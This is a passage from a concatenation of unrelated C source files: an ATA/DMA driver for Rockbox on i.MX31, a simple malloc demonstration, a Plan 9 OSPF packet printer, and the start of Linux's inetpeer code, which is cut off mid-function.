n8x0_usb_init(); return 0; } omap_late_initcall(n8x0_late_initcall); /* * Legacy init pdata init for n8x0. Note that we want to follow the * I2C bus numbering starting at 0 for device tree like other omaps. */ void * __init n8x0_legacy_init(void) { board_check_revision(); spi_register_board_info(n800_spi_board_info, ARRAY_SIZE(n800_spi_board_info)); return &mmc1_data; }
608350.c
/*************************************************************************** * __________ __ ___. * Open \______ \ ____ ____ | | _\_ |__ _______ ___ * Source | _// _ \_/ ___\| |/ /| __ \ / _ \ \/ / * Jukebox | | ( <_> ) \___| < | \_\ ( <_> > < < * Firmware |____|_ /\____/ \___ >__|_ \|___ /\____/__/\_ \ * \/ \/ \/ \/ \/ * $Id$ * * Copyright (C) 2007 by Will Robertson * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY * KIND, either express or implied. * ****************************************************************************/ #include "config.h" #include "cpu.h" #include "kernel.h" #include "thread.h" #include "system.h" #include "power.h" #include "panic.h" #include "ata-driver.h" #include "ata-defines.h" #include "ccm-imx31.h" #ifdef HAVE_ATA_DMA #include "sdma-imx31.h" #include "mmu-imx31.h" #endif /* PIO modes timing info */ static const struct ata_pio_timings { uint16_t time_2w; /* t2 during write */ uint16_t time_2r; /* t2 during read */ uint8_t time_ax; /* tA */ uint8_t time_1; /* t1 */ uint8_t time_4; /* t4 */ uint8_t time_9; /* t9 */ } pio_timings[5] = { [0] = /* PIO mode 0 */ { .time_1 = 70, .time_2w = 290, .time_2r = 290, .time_ax = 35, .time_4 = 30, .time_9 = 20 }, [1] = /* PIO mode 1 */ { .time_1 = 50, .time_2w = 290, .time_2r = 290, .time_ax = 35, .time_4 = 20, .time_9 = 15 }, [2] = /* PIO mode 2 */ { .time_1 = 30, .time_2w = 290, .time_2r = 290, .time_ax = 35, .time_4 = 15, .time_9 = 10 }, [3] = /* PIO mode 3 */ { .time_1 = 30, .time_2w = 80, .time_2r = 80, .time_ax = 35, .time_4 = 10, .time_9 = 10 }, [4] = /* PIO mode 4 */ { .time_1 = 25, .time_2w = 70, .time_2r = 70, .time_ax = 35, .time_4 = 10, .time_9 = 10 } }; /* Track first init */ static bool initialized = false; #ifdef HAVE_ATA_DMA /* One DMA channel for reads, the other for writes othewise one channel would * have to be reinitialized every time the direction changed. (Different * SDMA scripts are used for reading or writing) */ #define ATA_DMA_CH_NUM_RD 3 #define ATA_DMA_CH_NUM_WR 4 /* Use default priority for these channels (1) - ATA isn't realtime urgent. */ /* Maximum DMA size per buffer descriptor (32-byte aligned) */ #define ATA_MAX_BD_SIZE (65534 & ~31) /* 65504 */ /* Number of buffer descriptors required for a maximum sector count trasfer. * NOTE: Assumes LBA28 and 512-byte sectors! */ #define ATA_BASE_BD_COUNT ((256*512 + (ATA_MAX_BD_SIZE-1)) / ATA_MAX_BD_SIZE) #define ATA_BD_COUNT (ATA_BASE_BD_COUNT + 2) static const struct ata_mdma_timings { uint8_t time_m; /* tM */ uint8_t time_jn; /* tH */ uint8_t time_d; /* tD */ uint8_t time_k; /* tKW */ } mdma_timings[] = { [0] = /* MDMA mode 0 */ { .time_m = 50, .time_jn = 20, .time_d = 215, .time_k = 215 }, [1] = /* MDMA mode 1 */ { .time_m = 30, .time_jn = 15, .time_d = 80, .time_k = 50 }, [2] = /* MDMA mode 2 */ { .time_m = 25, .time_jn = 10, .time_d = 70, .time_k = 25 } }; static const struct ata_udma_timings { uint8_t time_ack; /* tACK */ uint8_t time_env; /* tENV */ uint8_t time_rpx; /* tRP */ uint8_t time_zah; /* tZAH */ uint8_t time_mlix; /* tMLI */ uint8_t time_dvh; /* tDVH */ uint8_t time_dzfs; /* tDVS+tDVH? */ uint8_t time_dvs; /* tDVS */ uint8_t time_cvh; /* ?? */ uint8_t time_ss; /* tSS */ uint8_t time_cyc; /* tCYC */ } udma_timings[] = { [0] = /* UDMA mode 0 */ { .time_ack = 20, .time_env = 20, .time_rpx = 160, .time_zah = 20, .time_mlix = 20, .time_dvh = 6, .time_dzfs = 80, .time_dvs = 70, .time_cvh = 6, .time_ss = 50, .time_cyc = 114 }, [1] = /* UDMA mode 1 */ { .time_ack = 20, .time_env = 20, .time_rpx = 125, .time_zah = 20, .time_mlix = 20, .time_dvh = 6, .time_dzfs = 63, .time_dvs = 48, .time_cvh = 6, .time_ss = 50, .time_cyc = 75 }, [2] = /* UDMA mode 2 */ { .time_ack = 20, .time_env = 20, .time_rpx = 100, .time_zah = 20, .time_mlix = 20, .time_dvh = 6, .time_dzfs = 47, .time_dvs = 34, .time_cvh = 6, .time_ss = 50, .time_cyc = 55 }, [3] = /* UDMA mode 3 */ { .time_ack = 20, .time_env = 20, .time_rpx = 100, .time_zah = 20, .time_mlix = 20, .time_dvh = 6, .time_dzfs = 35, .time_dvs = 20, .time_cvh = 6, .time_ss = 50, .time_cyc = 39 }, [4] = /* UDMA mode 4 */ { .time_ack = 20, .time_env = 20, .time_rpx = 100, .time_zah = 20, .time_mlix = 20, .time_dvh = 6, .time_dzfs = 25, .time_dvs = 7, .time_cvh = 6, .time_ss = 50, .time_cyc = 25 }, #if 0 [5] = /* UDMA mode 5 (bus clock 80MHz or higher only) */ { .time_ack = 20, .time_env = 20, .time_rpx = 85, .time_zah = 20, .time_mlix = 20, .time_dvh = 6, .time_dzfs = 40, .time_dvs = 5, .time_cvh = 10, .time_ss = 50, .time_cyc = 17 } #endif }; /** Threading **/ /* Signal to tell thread when DMA is done */ static struct semaphore ata_dma_complete; /** SDMA **/ /* Array of buffer descriptors for large transfers and alignnment */ static struct buffer_descriptor ata_bda[ATA_BD_COUNT] NOCACHEBSS_ATTR; /* ATA channel descriptors */ /* Read/write channels share buffer descriptors and callbacks */ static void ata_dma_callback(void); static struct channel_descriptor ata_cd_rd = /* read channel */ { .bd_count = ATA_BD_COUNT, .callback = ata_dma_callback, .shp_addr = SDMA_PER_ADDR_ATA_RX, .wml = SDMA_ATA_WML, .per_type = SDMA_PER_ATA, .tran_type = SDMA_TRAN_PER_2_EMI, .event_id1 = SDMA_REQ_ATA_TXFER_END, .event_id2 = SDMA_REQ_ATA_RX, }; static struct channel_descriptor ata_cd_wr = /* write channel */ { .bd_count = ATA_BD_COUNT, .callback = ata_dma_callback, .shp_addr = SDMA_PER_ADDR_ATA_TX, .wml = SDMA_ATA_WML, .per_type = SDMA_PER_ATA, .tran_type = SDMA_TRAN_EMI_2_PER, .event_id1 = SDMA_REQ_ATA_TXFER_END, .event_id2 = SDMA_REQ_ATA_TX, }; /* DMA channel to be started for transfer */ static unsigned int current_channel = 0; /** Buffers **/ /* Scatter buffer for first and last 32 bytes of a non cache-aligned transfer * to cached RAM. */ static uint32_t scatter_buffer[32/4*2] NOCACHEBSS_ATTR; /* Address of ends in destination buffer for unaligned reads - copied after * DMA completes. */ static void *sb_dst[2] = { NULL, NULL }; /** Modes **/ #define ATA_DMA_MWDMA 0x00000000 /* Using multiword DMA */ #define ATA_DMA_UDMA ATA_DMA_ULTRA_SELECTED /* Using Ultra DMA */ #define ATA_DMA_PIO 0x80000000 /* Using PIO */ #define ATA_DMA_DISABLED 0x80000001 /* DMA init error - use PIO */ static unsigned long ata_dma_selected = ATA_DMA_PIO; #endif /* HAVE_ATA_DMA */ static unsigned int get_T(void) { /* T = ATA clock period in nanoseconds */ return 1000 * 1000 * 1000 / ccm_get_ata_clk(); } static void ata_wait_for_idle(void) { while (!(ATA_INTERRUPT_PENDING & ATA_CONTROLLER_IDLE)); } /* Route the INTRQ to either the MCU or SDMA depending upon whether there is * a DMA transfer in progress. */ static inline void ata_set_intrq(bool to_dma) { ATA_INTERRUPT_ENABLE = (ATA_INTERRUPT_ENABLE & ~(ATA_INTRQ1 | ATA_INTRQ2)) | (to_dma ? ATA_INTRQ1 : ATA_INTRQ2); } /* Setup the timing for PIO mode */ void ata_set_pio_timings(int mode) { const struct ata_pio_timings * const timings = &pio_timings[mode]; unsigned int T = get_T(); ata_wait_for_idle(); ATA_TIME_1 = (timings->time_1 + T) / T; ATA_TIME_2W = (timings->time_2w + T) / T; ATA_TIME_2R = (timings->time_2r + T) / T; ATA_TIME_AX = (timings->time_ax + T) / T + 2; /* 1.5 + tAX */ ATA_TIME_PIO_RDX = 1; ATA_TIME_4 = (timings->time_4 + T) / T; ATA_TIME_9 = (timings->time_9 + T) / T; } void ata_reset(void) { /* Be sure we're not busy */ ata_wait_for_idle(); ATA_INTF_CONTROL &= ~(ATA_ATA_RST | ATA_FIFO_RST); sleep(HZ/100); ATA_INTF_CONTROL = ATA_ATA_RST | ATA_FIFO_RST; sleep(HZ/100); ata_wait_for_idle(); } void ata_enable(bool on) { /* Unconditionally clock module before writing regs */ ccm_module_clock_gating(CG_ATA, CGM_ON_RUN_WAIT); ata_wait_for_idle(); if (on) { ATA_INTF_CONTROL = ATA_ATA_RST | ATA_FIFO_RST; sleep(HZ/100); } else { ATA_INTF_CONTROL &= ~(ATA_ATA_RST | ATA_FIFO_RST); sleep(HZ/100); /* Disable off - unclock ATA module */ ccm_module_clock_gating(CG_ATA, CGM_OFF); } } bool ata_is_coldstart(void) { return false; } #ifdef HAVE_ATA_DMA static void ata_set_mdma_timings(unsigned int mode) { const struct ata_mdma_timings * const timings = &mdma_timings[mode]; unsigned int T = get_T(); ATA_TIME_M = (timings->time_m + T) / T; ATA_TIME_JN = (timings->time_jn + T) / T; ATA_TIME_D = (timings->time_d + T) / T; ATA_TIME_K = (timings->time_k + T) / T; } static void ata_set_udma_timings(unsigned int mode) { const struct ata_udma_timings * const timings = &udma_timings[mode]; unsigned int T = get_T(); ATA_TIME_ACK = (timings->time_ack + T) / T; ATA_TIME_ENV = (timings->time_env + T) / T; ATA_TIME_RPX = (timings->time_rpx + T) / T; ATA_TIME_ZAH = (timings->time_zah + T) / T; ATA_TIME_MLIX = (timings->time_mlix + T) / T; ATA_TIME_DVH = (timings->time_dvh + T) / T + 1; ATA_TIME_DZFS = (timings->time_dzfs + T) / T; ATA_TIME_DVS = (timings->time_dvs + T) / T; ATA_TIME_CVH = (timings->time_cvh + T) / T; ATA_TIME_SS = (timings->time_ss + T) / T; ATA_TIME_CYC = (timings->time_cyc + T) / T; } void ata_dma_set_mode(unsigned char mode) { unsigned int modeidx = mode & 0x07; unsigned int dmamode = mode & 0xf8; ata_wait_for_idle(); if (ata_dma_selected == ATA_DMA_DISABLED) { /* Configuration error - no DMA */ } else if (dmamode == 0x40 && modeidx <= ATA_MAX_UDMA) { /* Using Ultra DMA */ ata_set_udma_timings(dmamode); ata_dma_selected = ATA_DMA_UDMA; } else if (dmamode == 0x20 && modeidx <= ATA_MAX_MWDMA) { /* Using Multiword DMA */ ata_set_mdma_timings(dmamode); ata_dma_selected = ATA_DMA_MWDMA; } else { /* Don't understand this - force PIO. */ ata_dma_selected = ATA_DMA_PIO; } } /* Called by SDMA when transfer is complete */ static void ata_dma_callback(void) { /* Clear FIFO if not empty - shouldn't happen */ while (ATA_FIFO_FILL != 0) ATA_FIFO_DATA_32; /* Clear FIFO interrupts (the only ones that can be) */ ATA_INTERRUPT_CLEAR = ATA_INTERRUPT_PENDING; ata_set_intrq(false); /* Return INTRQ to MCU */ semaphore_release(&ata_dma_complete); /* Signal waiting thread */ } bool ata_dma_setup(void *addr, unsigned long bytes, bool write) { struct buffer_descriptor *bd_p; unsigned char *buf; if (UNLIKELY(bytes > ATA_BASE_BD_COUNT*ATA_MAX_BD_SIZE || (ata_dma_selected & ATA_DMA_PIO))) { /* Too much? Implies BD count should be reevaluated since this * shouldn't be reached based upon size. Otherwise we simply didn't * understand the DMA mode setup. Force PIO in both cases. */ ATA_INTF_CONTROL = ATA_FIFO_RST | ATA_ATA_RST; yield(); return false; } bd_p = &ata_bda[0]; buf = (unsigned char *)addr_virt_to_phys((unsigned long)addr); sb_dst[0] = NULL; /* Assume not needed */ if (write) { /* No cache alignment concerns */ current_channel = ATA_DMA_CH_NUM_WR; if (LIKELY(buf != addr)) { /* addr is virtual */ commit_dcache_range(addr, bytes); } /* Setup ATA controller for DMA transmit */ ATA_INTF_CONTROL = ATA_FIFO_RST | ATA_ATA_RST | ATA_FIFO_TX_EN | ATA_DMA_PENDING | ata_dma_selected | ATA_DMA_WRITE; ATA_FIFO_ALARM = SDMA_ATA_WML / 2; } else { current_channel = ATA_DMA_CH_NUM_RD; /* Setup ATA controller for DMA receive */ ATA_INTF_CONTROL = ATA_FIFO_RST | ATA_ATA_RST | ATA_FIFO_RCV_EN | ATA_DMA_PENDING | ata_dma_selected; ATA_FIFO_ALARM = SDMA_ATA_WML / 2; if (LIKELY(buf != addr)) { /* addr is virtual */ discard_dcache_range(addr, bytes); if ((unsigned long)addr & 31) { /* Not cache aligned, must use scatter buffers for first and * last 32 bytes. */ unsigned char *bufstart = buf; sb_dst[0] = addr; bd_p->buf_addr = scatter_buffer; bd_p->mode.count = 32; bd_p->mode.status = BD_DONE | BD_CONT; buf += 32; bytes -= 32; bd_p++; while (bytes > ATA_MAX_BD_SIZE) { bd_p->buf_addr = buf; bd_p->mode.count = ATA_MAX_BD_SIZE; bd_p->mode.status = BD_DONE | BD_CONT; buf += ATA_MAX_BD_SIZE; bytes -= ATA_MAX_BD_SIZE; bd_p++; } if (bytes > 32) { unsigned long size = bytes - 32; bd_p->buf_addr = buf; bd_p->mode.count = size; bd_p->mode.status = BD_DONE | BD_CONT; buf += size; bd_p++; } /* There will be exactly 32 bytes left */ /* Final buffer - wrap to base bd, interrupt */ sb_dst[1] = addr + (buf - bufstart); bd_p->buf_addr = &scatter_buffer[32/4]; bd_p->mode.count = 32; bd_p->mode.status = BD_DONE | BD_WRAP | BD_INTR; return true; } } } /* Setup buffer descriptors for both cache-aligned reads and all write * operations. */ while (bytes > ATA_MAX_BD_SIZE) { bd_p->buf_addr = buf; bd_p->mode.count = ATA_MAX_BD_SIZE; bd_p->mode.status = BD_DONE | BD_CONT; buf += ATA_MAX_BD_SIZE; bytes -= ATA_MAX_BD_SIZE; bd_p++; } /* Final buffer - wrap to base bd, interrupt */ bd_p->buf_addr = buf; bd_p->mode.count = bytes; bd_p->mode.status = BD_DONE | BD_WRAP | BD_INTR; return true; } bool ata_dma_finish(void) { unsigned int channel = current_channel; long timeout = current_tick + HZ*10; current_channel = 0; ata_set_intrq(true); /* Give INTRQ to DMA */ sdma_channel_run(channel); /* Kick the channel to wait for events */ while (1) { int oldirq; if (LIKELY(semaphore_wait(&ata_dma_complete, HZ/2) == OBJ_WAIT_SUCCEEDED)) break; ata_keep_active(); if (TIME_BEFORE(current_tick, timeout)) continue; /* Epic fail - timed out - maybe. */ oldirq = disable_irq_save(); ata_set_intrq(false); /* Strip INTRQ from DMA */ sdma_channel_stop(channel); /* Stop DMA */ restore_irq(oldirq); if (semaphore_wait(&ata_dma_complete, TIMEOUT_NOBLOCK) == OBJ_WAIT_SUCCEEDED) break; /* DMA really did finish after timeout */ sdma_channel_reset(channel); /* Reset everything + clear error */ return false; } if (sdma_channel_is_error(channel)) { /* Channel error in one or more descriptors */ sdma_channel_reset(channel); /* Reset everything + clear error */ return false; } if (sb_dst[0] != NULL) { /* NOTE: This requires that unaligned access support be enabled! */ register void *sbs = scatter_buffer; register void *sbd0 = sb_dst[0]; register void *sbd1 = sb_dst[1]; asm volatile( "add r0, %1, #32 \n" /* Prefetch at DMA-direct boundaries */ "mcrr p15, 2, r0, r0, c12 \n" "mcrr p15, 2, %2, %2, c12 \n" "ldmia %0!, { r0-r3 } \n" /* Copy the 32-bytes to destination */ "str r0, [%1], #4 \n" /* stmia doesn't work unaligned */ "str r1, [%1], #4 \n" "str r2, [%1], #4 \n" "str r3, [%1], #4 \n" "ldmia %0!, { r0-r3 } \n" "str r0, [%1], #4 \n" "str r1, [%1], #4 \n" "str r2, [%1], #4 \n" "str r3, [%1] \n" "ldmia %0!, { r0-r3 } \n" /* Copy the 32-bytes to destination */ "str r0, [%2], #4 \n" /* stmia doesn't work unaligned */ "str r1, [%2], #4 \n" "str r2, [%2], #4 \n" "str r3, [%2], #4 \n" "ldmia %0!, { r0-r3 } \n" "str r0, [%2], #4 \n" "str r1, [%2], #4 \n" "str r2, [%2], #4 \n" "str r3, [%2] \n" : "+r"(sbs), "+r"(sbd0), "+r"(sbd1) : : "r0", "r1", "r2", "r3"); } return true; } #endif /* HAVE_ATA_DMA */ static int ata_wait_status(unsigned status, unsigned mask, int timeout) { long busy_timeout = usec_timer() + 2; long end_tick = current_tick + timeout; while (1) { if ((ATA_DRIVE_STATUS & mask) == status) return 1; if (!TIME_AFTER(usec_timer(), busy_timeout)) continue; ata_keep_active(); if (TIME_AFTER(current_tick, end_tick)) break; sleep(0); busy_timeout = usec_timer() + 2; } return 0; /* timed out */ } int ata_wait_for_bsy(void) { /* BSY = 0 */ return ata_wait_status(0, STATUS_BSY, 30*HZ); } int ata_wait_for_rdy(void) { /* RDY = 1 && BSY = 0 */ return ata_wait_status(STATUS_RDY, STATUS_RDY | STATUS_BSY, 40*HZ); } void ata_device_init(void) { /* Make sure we're not in reset mode */ ata_enable(true); if (!initialized) { ATA_INTERRUPT_ENABLE = 0; ATA_INTERRUPT_CLEAR = ATA_INTERRUPT_PENDING; } ata_set_intrq(false); if (initialized) return; /* All modes use same tOFF/tON */ ATA_TIME_OFF = 3; ATA_TIME_ON = 3; /* Setup mode 0 for all by default * Mode may be switched later once identify info is ready in which * case the main driver calls back */ ata_set_pio_timings(0); #ifdef HAVE_ATA_DMA ata_set_mdma_timings(0); ata_set_udma_timings(0); ata_dma_selected = ATA_DMA_PIO; /* Called for first time at startup */ semaphore_init(&ata_dma_complete, 1, 0); if (!sdma_channel_init(ATA_DMA_CH_NUM_RD, &ata_cd_rd, ata_bda) || !sdma_channel_init(ATA_DMA_CH_NUM_WR, &ata_cd_wr, ata_bda)) { /* Channel init error - disable DMA forever */ ata_dma_selected = ATA_DMA_DISABLED; } #endif /* HAVE_ATA_DMA */ initialized = true; }
309885.c
#include <stdio.h> #include <stdlib.h> int main() { // This pointer will hold the // base address of the block created int* ptr; int n, i; // Get the number of elements for the array printf("Enter number of elements:"); scanf("%d",&n); printf("Entered number of elements: %d\n", n); // Dynamically allocate memory using malloc() ptr = (int*)malloc(n * sizeof(int)); // Check if the memory has been successfully // allocated by malloc or not if (ptr == NULL) { printf("Memory not allocated.\n"); exit(0); } else { // Memory has been successfully allocated printf("Memory successfully allocated using malloc.\n"); // Get the elements of the array for (i = 0; i < n; ++i) { ptr[i] = i + 1; } // Print the elements of the array printf("The elements of the array are: "); for (i = 0; i < n; ++i) { printf("%d, ", ptr[i]); } } return 0; }
381781.c
#include <u.h> #include <libc.h> #include <ip.h> #include <libsec.h> #include "dat.h" #include "protos.h" /* * OSPF packets */ typedef struct Ospfpkt Ospfpkt; struct Ospfpkt { uchar version; uchar type; uchar length[2]; uchar router[4]; uchar area[4]; uchar sum[2]; uchar autype[2]; uchar auth[8]; uchar data[1]; }; #define OSPF_HDRSIZE 24 enum { OSPFhello= 1, OSPFdd= 2, OSPFlsrequest= 3, OSPFlsupdate= 4, OSPFlsack= 5 }; char *ospftype[] = { [OSPFhello] "hello", [OSPFdd] "data definition", [OSPFlsrequest] "link state request", [OSPFlsupdate] "link state update", [OSPFlsack] "link state ack" }; char* ospfpkttype(int x) { static char type[16]; if(x > 0 && x <= OSPFlsack) return ospftype[x]; sprint(type, "type %d", x); return type; } char* ospfauth(Ospfpkt *ospf) { static char auth[100]; switch(ospf->type){ case 0: return "no authentication"; case 1: sprint(auth, "password(%8.8ux %8.8ux)", NetL(ospf->auth), NetL(ospf->auth+4)); break; case 2: sprint(auth, "crypto(plen %d id %d dlen %d)", NetS(ospf->auth), ospf->auth[2], ospf->auth[3]); break; default: sprint(auth, "auth%d(%8.8ux %8.8ux)", NetS(ospf->autype), NetL(ospf->auth), NetL(ospf->auth+4)); } return auth; } typedef struct Ospfhello Ospfhello; struct Ospfhello { uchar mask[4]; uchar interval[2]; uchar options; uchar pri; uchar deadint[4]; uchar designated[4]; uchar bdesignated[4]; uchar neighbor[1]; }; char* seprintospfhello(char *p, char *e, void *a) { Ospfhello *h = a; return seprint(p, e, "%s(mask %V interval %d opt %ux pri %ux deadt %d designated %V bdesignated %V)", ospftype[OSPFhello], h->mask, NetS(h->interval), h->options, h->pri, NetL(h->deadint), h->designated, h->bdesignated); } enum { LSARouter= 1, LSANetwork= 2, LSASummN= 3, LSASummR= 4, LSAASext= 5 }; char *lsatype[] = { [LSARouter] "Router LSA", [LSANetwork] "Network LSA", [LSASummN] "Summary LSA (Network)", [LSASummR] "Summary LSA (Router)", [LSAASext] "LSA AS external" }; char* lsapkttype(int x) { static char type[16]; if(x > 0 && x <= LSAASext) return lsatype[x]; sprint(type, "type %d", x); return type; } /* OSPF Link State Advertisement Header */ /* rfc2178 section 12.1 */ /* data of Ospfpkt point to a 4-uchar value that is the # of LSAs */ struct OspfLSAhdr { uchar lsage[2]; uchar options; /* 0x2=stub area, 0x1=TOS routing capable */ uchar lstype; /* 1=Router-LSAs * 2=Network-LSAs * 3=Summary-LSAs (to network) * 4=Summary-LSAs (to AS boundary routers) * 5=AS-External-LSAs */ uchar lsid[4]; uchar advtrt[4]; uchar lsseqno[4]; uchar lscksum[2]; uchar lsalen[2]; /* includes the 20 byte lsa header */ }; struct Ospfrt { uchar linkid[4]; uchar linkdata[4]; uchar typ; uchar numtos; uchar metric[2]; }; struct OspfrtLSA { struct OspfLSAhdr hdr; uchar netmask[4]; }; struct OspfntLSA { struct OspfLSAhdr hdr; uchar netmask[4]; uchar attrt[4]; }; /* Summary Link State Advertisement info */ struct Ospfsumm { uchar flag; /* always zero */ uchar metric[3]; }; struct OspfsummLSA { struct OspfLSAhdr hdr; uchar netmask[4]; struct Ospfsumm lsa; }; /* AS external Link State Advertisement info */ struct OspfASext { uchar flag; /* external */ uchar metric[3]; uchar fwdaddr[4]; uchar exrttag[4]; }; struct OspfASextLSA { struct OspfLSAhdr hdr; uchar netmask[4]; struct OspfASext lsa; }; /* OSPF Link State Update Packet */ struct OspfLSupdpkt { uchar lsacnt[4]; union { uchar hdr[1]; struct OspfrtLSA rt[1]; struct OspfntLSA nt[1]; struct OspfsummLSA sum[1]; struct OspfASextLSA as[1]; }; }; char* seprintospflsaheader(char *p, char *e, struct OspfLSAhdr *h) { return seprint(p, e, "age %d opt %ux type %ux lsid %V adv_rt %V seqno %ux c %4.4ux l %d", NetS(h->lsage), h->options&0xff, h->lstype, h->lsid, h->advtrt, NetL(h->lsseqno), NetS(h->lscksum), NetS(h->lsalen)); } /* OSPF Database Description Packet */ struct OspfDDpkt { uchar intMTU[2]; uchar options; uchar bits; uchar DDseqno[4]; struct OspfLSAhdr hdr[1]; /* LSA headers... */ }; char* seprintospfdatadesc(char *p, char *e, void *a, int len) { int nlsa, i; struct OspfDDpkt *g; g = (struct OspfDDpkt *)a; nlsa = len/sizeof(struct OspfLSAhdr); for (i=0; i<nlsa; i++) { p = seprint(p, e, "lsa%d(", i); p = seprintospflsaheader(p, e, &(g->hdr[i])); p = seprint(p, e, ")"); } return seprint(p, e, ")"); } char* seprintospflsupdate(char *p, char *e, void *a, int len) { int nlsa, i; struct OspfLSupdpkt *g; struct OspfLSAhdr *h; g = (struct OspfLSupdpkt *)a; nlsa = NetL(g->lsacnt); h = (struct OspfLSAhdr *)(g->hdr); p = seprint(p, e, "%d-%s(", nlsa, ospfpkttype(OSPFlsupdate)); switch(h->lstype) { case LSARouter: { /* struct OspfrtLSA *h; */ } break; case LSANetwork: { struct OspfntLSA *h; for (i=0; i<nlsa; i++) { h = &(g->nt[i]); p = seprint(p, e, "lsa%d(", i); p = seprintospflsaheader(p, e, &(h->hdr)); p = seprint(p, e, " mask %V attrt %V)", h->netmask, h->attrt); } } break; case LSASummN: case LSASummR: { struct OspfsummLSA *h; for (i=0; i<nlsa; i++) { h = &(g->sum[i]); p = seprint(p, e, "lsa%d(", i); p = seprintospflsaheader(p, e, &(h->hdr)); p = seprint(p, e, " mask %V met %d)", h->netmask, Net3(h->lsa.metric)); } } break; case LSAASext: { struct OspfASextLSA *h; for (i=0; i<nlsa; i++) { h = &(g->as[i]); p = seprint(p, e, " lsa%d(", i); p = seprintospflsaheader(p, e, &(h->hdr)); p = seprint(p, e, " mask %V extflg %1.1ux met %d fwdaddr %V extrtflg %ux)", h->netmask, h->lsa.flag, Net3(h->lsa.metric), h->lsa.fwdaddr, NetL(h->lsa.exrttag)); } } break; default: p = seprint(p, e, "Not an LS update, lstype %d ", h->lstype); p = seprint(p, e, " %.*H", len>64?64:len, a); break; } return seprint(p, e, ")"); } char* seprintospflsack(char *p, char *e, void *a, int len) { int nlsa, i; struct OspfLSAhdr *h; h = (struct OspfLSAhdr *)a; nlsa = len/sizeof(struct OspfLSAhdr); p = seprint(p, e, "%d-%s(", nlsa, ospfpkttype(OSPFlsack)); for (i=0; i<nlsa; i++) { p = seprint(p, e, " lsa%d(", i); p = seprintospflsaheader(p, e, &(h[i])); p = seprint(p, e, ")"); } return seprint(p, e, ")"); } int p_seprint(Msg *m) { Ospfpkt *ospf; int len, x; char *p, *e; len = m->pe - m->ps; if(len < OSPF_HDRSIZE) return -1; p = m->p; e = m->e; /* adjust packet size */ ospf = (Ospfpkt*)m->ps; x = NetS(ospf->length); if(x < len) return -1; x -= OSPF_HDRSIZE; p = seprint(p, e, "ver=%d type=%d len=%d r=%V a=%V c=%4.4ux %s ", ospf->version, ospf->type, x, ospf->router, ospf->area, NetS(ospf->sum), ospfauth(ospf)); switch (ospf->type) { case OSPFhello: p = seprintospfhello(p, e, ospf->data); break; case OSPFdd: p = seprintospfdatadesc(p, e, ospf->data, x); break; case OSPFlsrequest: p = seprint(p, e, " %s->", ospfpkttype(ospf->type)); goto Default; case OSPFlsupdate: p = seprintospflsupdate(p, e, ospf->data, x); break; case OSPFlsack: p = seprintospflsack(p, e, ospf->data, x); break; default: Default: p = seprint(p, e, " data=%.*H", x>64?64:x, ospf->data); } m->p = p; m->pr = nil; return 0; } Proto ospf = { "ospf", nil, nil, p_seprint, nil, nil, nil, defaultframer };
347609.c
/* * INETPEER - A storage for permanent information about peers * * This source is covered by the GNU GPL, the same as all kernel sources. * * Authors: Andrey V. Savochkin <[email protected]> */ #include <linux/cache.h> #include <linux/module.h> #include <linux/types.h> #include <linux/slab.h> #include <linux/interrupt.h> #include <linux/spinlock.h> #include <linux/random.h> #include <linux/timer.h> #include <linux/time.h> #include <linux/kernel.h> #include <linux/mm.h> #include <linux/net.h> #include <linux/workqueue.h> #include <net/ip.h> #include <net/inetpeer.h> #include <net/secure_seq.h> /* * Theory of operations. * We keep one entry for each peer IP address. The nodes contains long-living * information about the peer which doesn't depend on routes. * * Nodes are removed only when reference counter goes to 0. * When it's happened the node may be removed when a sufficient amount of * time has been passed since its last use. The less-recently-used entry can * also be removed if the pool is overloaded i.e. if the total amount of * entries is greater-or-equal than the threshold. * * Node pool is organised as an RB tree. * Such an implementation has been chosen not just for fun. It's a way to * prevent easy and efficient DoS attacks by creating hash collisions. A huge * amount of long living nodes in a single hash slot would significantly delay * lookups performed with disabled BHs. * * Serialisation issues. * 1. Nodes may appear in the tree only with the pool lock held. * 2. Nodes may disappear from the tree only with the pool lock held * AND reference count being 0. * 3. Global variable peer_total is modified under the pool lock. * 4. struct inet_peer fields modification: * rb_node: pool lock * refcnt: atomically against modifications on other CPU; * usually under some other lock to prevent node disappearing * daddr: unchangeable */ static struct kmem_cache *peer_cachep __ro_after_init; void inet_peer_base_init(struct inet_peer_base *bp) { bp->rb_root = RB_ROOT; seqlock_init(&bp->lock); bp->total = 0; } EXPORT_SYMBOL_GPL(inet_peer_base_init); #define PEER_MAX_GC 32 /* Exported for sysctl_net_ipv4. */ int inet_peer_threshold __read_mostly; /* start to throw entries more * aggressively at this stage */ int inet_peer_minttl __read_mostly = 120 * HZ; /* TTL under high load: 120 sec */ int inet_peer_maxttl __read_mostly = 10 * 60 * HZ; /* usual time to live: 10 min */ /* Called from ip_output.c:ip_init */ void __init inet_initpeers(void) { u64 nr_entries; /* 1% of physical memory */ nr_entries = div64_ul((u64)totalram_pages() << PAGE_SHIFT, 100 * L1_CACHE_ALIGN(sizeof(struct inet_peer))); inet_peer_threshold = clamp_val(nr_entries, 4096, 65536 + 128); peer_cachep = kmem_cache_create("inet_peer_cache", sizeof(struct inet_peer), 0, SLAB_HWCACHE_ALIGN | SLAB_PANIC, NULL); } /* Called with rcu_read_lock() or base->lock held */ static struct inet_peer *lookup(const struct inetpeer_addr *daddr, struct inet_peer_base *base, unsigned int seq, struct inet_peer *gc_stack[], unsigned int *gc_cnt, struct rb_node **parent_p, struct rb_node ***pp_p) { struct rb_node **pp, *parent, *next; struct inet_peer *p; pp = &base->rb_root.rb_node; parent = NULL; while (1) { int cmp; next = rcu_dereference_raw(*pp); if (!next) break; parent = next; p = rb_entry(parent, struct inet_peer, rb_node); cmp = inetpeer_addr_cmp(daddr, &p->daddr); if (cmp == 0) { if (!refcount_inc_not_zero(&p->refcnt)) break; return p; } if (gc_stack) { if (*gc_cnt < PEER_MAX_GC) gc_stack[(*gc_cnt)++] = p; } else if (unlikely(read_seqretry(&base->lock, seq))) { break; } if (cmp == -1) pp = &next->rb_left; else pp = &next->rb_right; } *parent_p = parent; *pp_p = pp; return NULL; } static void inetpeer_free_rcu(struct rcu_head *head) { kmem_cache_free(peer_cachep, container_of(head, struct inet_peer, rcu)); } /* perform garbage collect on all items stacked during a lookup */ static void inet_peer_gc(struct inet_peer_base *base, struct inet_peer *gc_stack[], unsigned int gc_cnt) { struct inet_peer *p; __u32 delta, ttl; int i; if (base->total >= inet_peer_threshold) ttl = 0; /* be 